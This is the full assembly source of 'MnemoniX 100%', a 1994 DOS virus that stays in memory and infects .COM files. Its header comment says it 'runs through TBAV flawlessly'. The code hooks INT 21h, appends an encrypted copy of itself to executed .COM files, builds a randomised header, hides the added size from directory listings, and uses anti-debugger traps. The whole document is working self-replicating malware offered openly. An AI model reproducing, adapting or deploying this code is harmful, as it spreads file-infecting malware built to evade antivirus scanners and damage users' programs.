; =======================================================================> ; 100% By MnemoniX - 1994 ; ; This is a memory resident .COM infector which hides itself using ; directory stealth (11/12 and 4E/4F). To avoid setting heuristic ; flags in TBAV, it overwrites part of the decryption routine with ; garbage and adds instructions to repair it on the header of the ; program. Runs through TBAV flawlessly. Examine it in action and ; observe for yourself. ; ; This virus also includes debugger traps to thwart tracing. ; =======================================================================> PING equ 30F4h ; give INT 21 this value ... PONG equ 0DEADh ; if this returns we're res. ID equ '%0' ; ID marker HEADER_SIZE equ 22 ; 22 - byte .COM header MARKER equ 20 ; marker at offset 20 code segment byte public 'code' org 100h assume cs:code start: db 17 dup (90h) ; simulate infected program jmp virus_begin ; a real host program will dw ID ; have some MOVs at the host: db 0CDh,20h ; beginning db 20 dup(90h) virus_begin: db 0BBh ; mov bx,offset viral_code code_offset dw offset virus_code db 0B8h ; mov ax,cipher cipher dw 0 mov cx,VIRUS_SIZE / 2 + 1 ; mov cx,length of code decrypt: xor [bx],ax ; in real infections, ror ax,1 ; portions of this code inc bx ; will be replaced with inc bx ; dummy bytes, which will be loop decrypt ; fixed up by the header. ; this complicates scanning virus_code: call $+3 ; BP is instruction pointer pop bp sub bp,offset $-1 xor ax,ax ; anti-trace ... mov es,ax ; set interrupts 0-3 to point mov di,ax ; to The Great Void in high dec ax ; memory ... mov cl,8 rep movsw mov ax,PING ; test for residency int 21h cmp bx,PONG je installed in al,21h ; another anti-debugger xor al,2 ; routine ... lock out out 21h,al ; keyboard xor al,2 out 21h,al mov ax,ds ; not resident - install dec ax ; ourselves in memory mov ds,ax sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1 sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1 mov ax,ds:[12h] mov ds,ax sub ax,15 mov es,ax mov byte ptr ds:[0],'Z' mov word ptr ds:[1],8 mov word ptr ds:[3],(MEM_SIZE + 15) / 16 push cs ; now move virus into memory pop ds mov di,100h mov cx,(offset virus_end - offset start) / 2 lea si,[bp + offset start] rep movsw xor ax,ax ; change interrupt 21 to point mov ds,ax ; to ourselves mov si,21h * 4 mov di,offset old_int_21 ; (saving original int 21) movsw movsw mov word ptr ds:[si - 2],0 ; anti-trace - temporarily ; kill int 21 mov ds:[si - 4],offset new_int_21 mov ds:[si - 2],es installed: push cs ; restore segregs push cs pop ds pop es lea si,[bp + offset host] ; and restore original mov di,100h ; bytes of program push di mov cx,HEADER_SIZE rep movsb ret ; and we're done ; Interrupt 21 handler - trap file execute, search, open, read, and ; moves to the end of the file. int_21: pushf call dword ptr cs:[old_int_21] ret new_int_21: cmp ax,30F4h ; residency test? je test_pass ; yes .... cmp ax,4B00h ; file execute? jne stealth jmp execute ; yes, infect ... stealth: cmp ah,11h ; directory stealth je dir_stealth_1 cmp ah,12h je dir_stealth_1 cmp ah,4Eh ; more directory stealth je dir_stealth_2 cmp ah,4Fh je dir_stealth_2 int_21_exit: db 0EAh ; never mind ... old_int_21 dd 0 test_pass: call int_21 ; get real DOS version mov bx,PONG ; and give pass signal iret dir_stealth_1: call int_21 ; perform directory search cmp al,-1 ; no more files? jne check_file iret ; no, skip it check_file: push ax bx es ; check file for infection mov ah,2Fh int 21h cmp byte ptr es:[bx],-1 ; check for extended FCB jne no_ext_FCB add bx,7 no_ext_FCB: cmp word ptr es:[bx + 9],'OC' jne fixed ; not .COM file, ignore mov ax,word ptr es:[bx + 17h] and al,31 ; check seconds - cmp al,26 ; if 52, infected jne fixed sub word ptr es:[bx + 1Dh],VIRUS_SIZE + HEADER_SIZE sbb word ptr es:[bx + 1Fh],0 fixed: pop es bx ax iret dir_stealth_2: call int_21 ; perform file search jnc check_file_2 ; if found, proceed retf 2 ; nope, leave check_file_2: push ax bx si es mov ah,2Fh ; find DTA int 21h xor si,si ; verify that this is a .COM find_ext: cmp byte ptr es:[bx + si],'.' je found_ext inc si jmp find_ext found_ext: cmp word ptr es:[bx + si + 1],'OC' jne fixed_2 ; if not .COM, skip mov ax,word ptr es:[bx + 16h] and al,31 ; check for infection marker cmp al,26 jne fixed_2 ; not found, skip sub word ptr es:[bx + 1Ah],VIRUS_SIZE + HEADER_SIZE sbb word ptr es:[bx + 1Ch],0 fixed_2: pop es si bx ax ; done clc retf 2 execute: push ax bx cx dx di ds es ; file execute ... check ; if uninfected .COM file, mov ax,3D00h ; and if so, infect call int_21 jnc read_header jmp exec_exit ; can't open, leave read_header: xchg ax,bx push bx ; save file handle mov ax,1220h ; get system file table int 2Fh ; entry nop ; remove this if you don't ; mind scanning as [512] under ; SCAN ... mov bl,es:[di] ; get number of the SFT mov ax,1216h ; for this handle int 2Fh ; ES:DI now points to SFT pop bx mov word ptr es:[di + 2],2 ; change open mode to R/W push word ptr es:[di + 13] ; save file date push word ptr es:[di + 15] ; and file time mov ax,word ptr es:[di + 11h] cmp ax,62579 - VIRUS_SIZE ; too big? je exec_close cmp ax,22 ; too small? jb exec_close add ax,HEADER_SIZE - 3 ; calculate virus offset push cs pop ds mov ds:virus_offset,ax mov ah,3Fh ; read header of file mov cx,HEADER_SIZE ; to check for infection mov dx,offset read_buffer call int_21 cmp word ptr ds:read_buffer,'ZM' je exec_close ; don't infect .EXE cmp word ptr ds:read_buffer[MARKER],ID ; if infected je exec_close ; already, skip it mov ax,4202h ; move to end of file call move_ptr_write mov dx,offset read_buffer ; and save header call int_21 call encrypt_code ; encrypt the virus code call create_header ; and create unique header mov ah,40h mov cx,VIRUS_SIZE ; write virus code to file mov dx,offset encrypt_buffer int 21h mov ax,4200h ; back to beginning of file call move_ptr_write mov dx,offset new_header ; write new header call int_21 pop dx ; restore file date & time pop cx and cl,0E0h ; but with timestamp or cl,26 mov ax,5701h int 21h mov ah,3Eh ; close file int 21h exec_exit: pop es ds di dx cx bx ax jmp int_21_exit move_ptr_write: cwd ; move file pointer xor cx,cx int 21h mov cx,HEADER_SIZE ; and prepare for write mov ah,40h ; to file ret exec_close: pop ax ax ; clean off stack mov ah,3Eh ; and close int 21h jmp exec_exit encrypt_code proc near push si es push cs pop es xor ah,ah ; get random no. int 1Ah ; and store in decryption mov cipher,dx ; module mov ax,ds:virus_offset add ax,DECRYPTOR_SIZE + 103h mov code_offset,ax mov si,offset virus_begin ; first store header mov di,offset encrypt_buffer mov cx,DECRYPTOR_SIZE rep movsb ; (unencryted) mov cx,ENCRYPTED_SIZE / 2 + 1 ; now encrypt & store code encrypt: lodsw ; simple encryption routine xor ax,dx ror dx,1 stosw loop encrypt pop es si ret encrypt_code endp create_header proc near mov ax,ds:virus_offset ; fix up addresses in new add ax,103h + (offset decrypt - offset virus_begin) mov ds:mov_1,ax ; header inc ax inc ax mov ds:mov_2,ax xor ah,ah ; fill in useless MOVs int 1Ah ; with random bytes mov ds:mov_al,cl mov ds:mov_ax,dx push es cs pop es mov di,offset encrypt_buffer add di,offset decrypt - offset virus_begin mov ax,dx ; now fill decryption module neg ax ; with some garbage stosw rol ax,1 stosw pop es sub word ptr ds:virus_offset,17 ; fix up JMP instruction ret ; done create_header endp new_header db 0C7h,06 mov_1 dw 00 db 31h,07 ; first MOV 6 db 0B0h mov_al db 00 ; a nothing MOV AL, 2 db 0C7h,06 mov_2 dw 00 db 0D1h,0C8h ; second MOV 6 db 0B8h mov_ax dw 00 ; a nothing MOV AX, 3 db 0E9h ; jump instruction 1 virus_offset dw 0 ; virus offset 2 dw ID ; ID marker 2 ; total bytes = 22 sig db '[100%] By MnemoniX 1994',0 virus_end: VIRUS_SIZE equ offset virus_end - offset virus_begin read_buffer dw HEADER_SIZE dup (?) ; storage for orig header encrypt_buffer dw VIRUS_SIZE dup (?) ; storage for encrypted virus heap_end: MEM_SIZE equ offset heap_end - offset start DECRYPTOR_SIZE equ offset virus_code - offset virus_begin ENCRYPTED_SIZE equ offset virus_end - offset virus_code code ends end start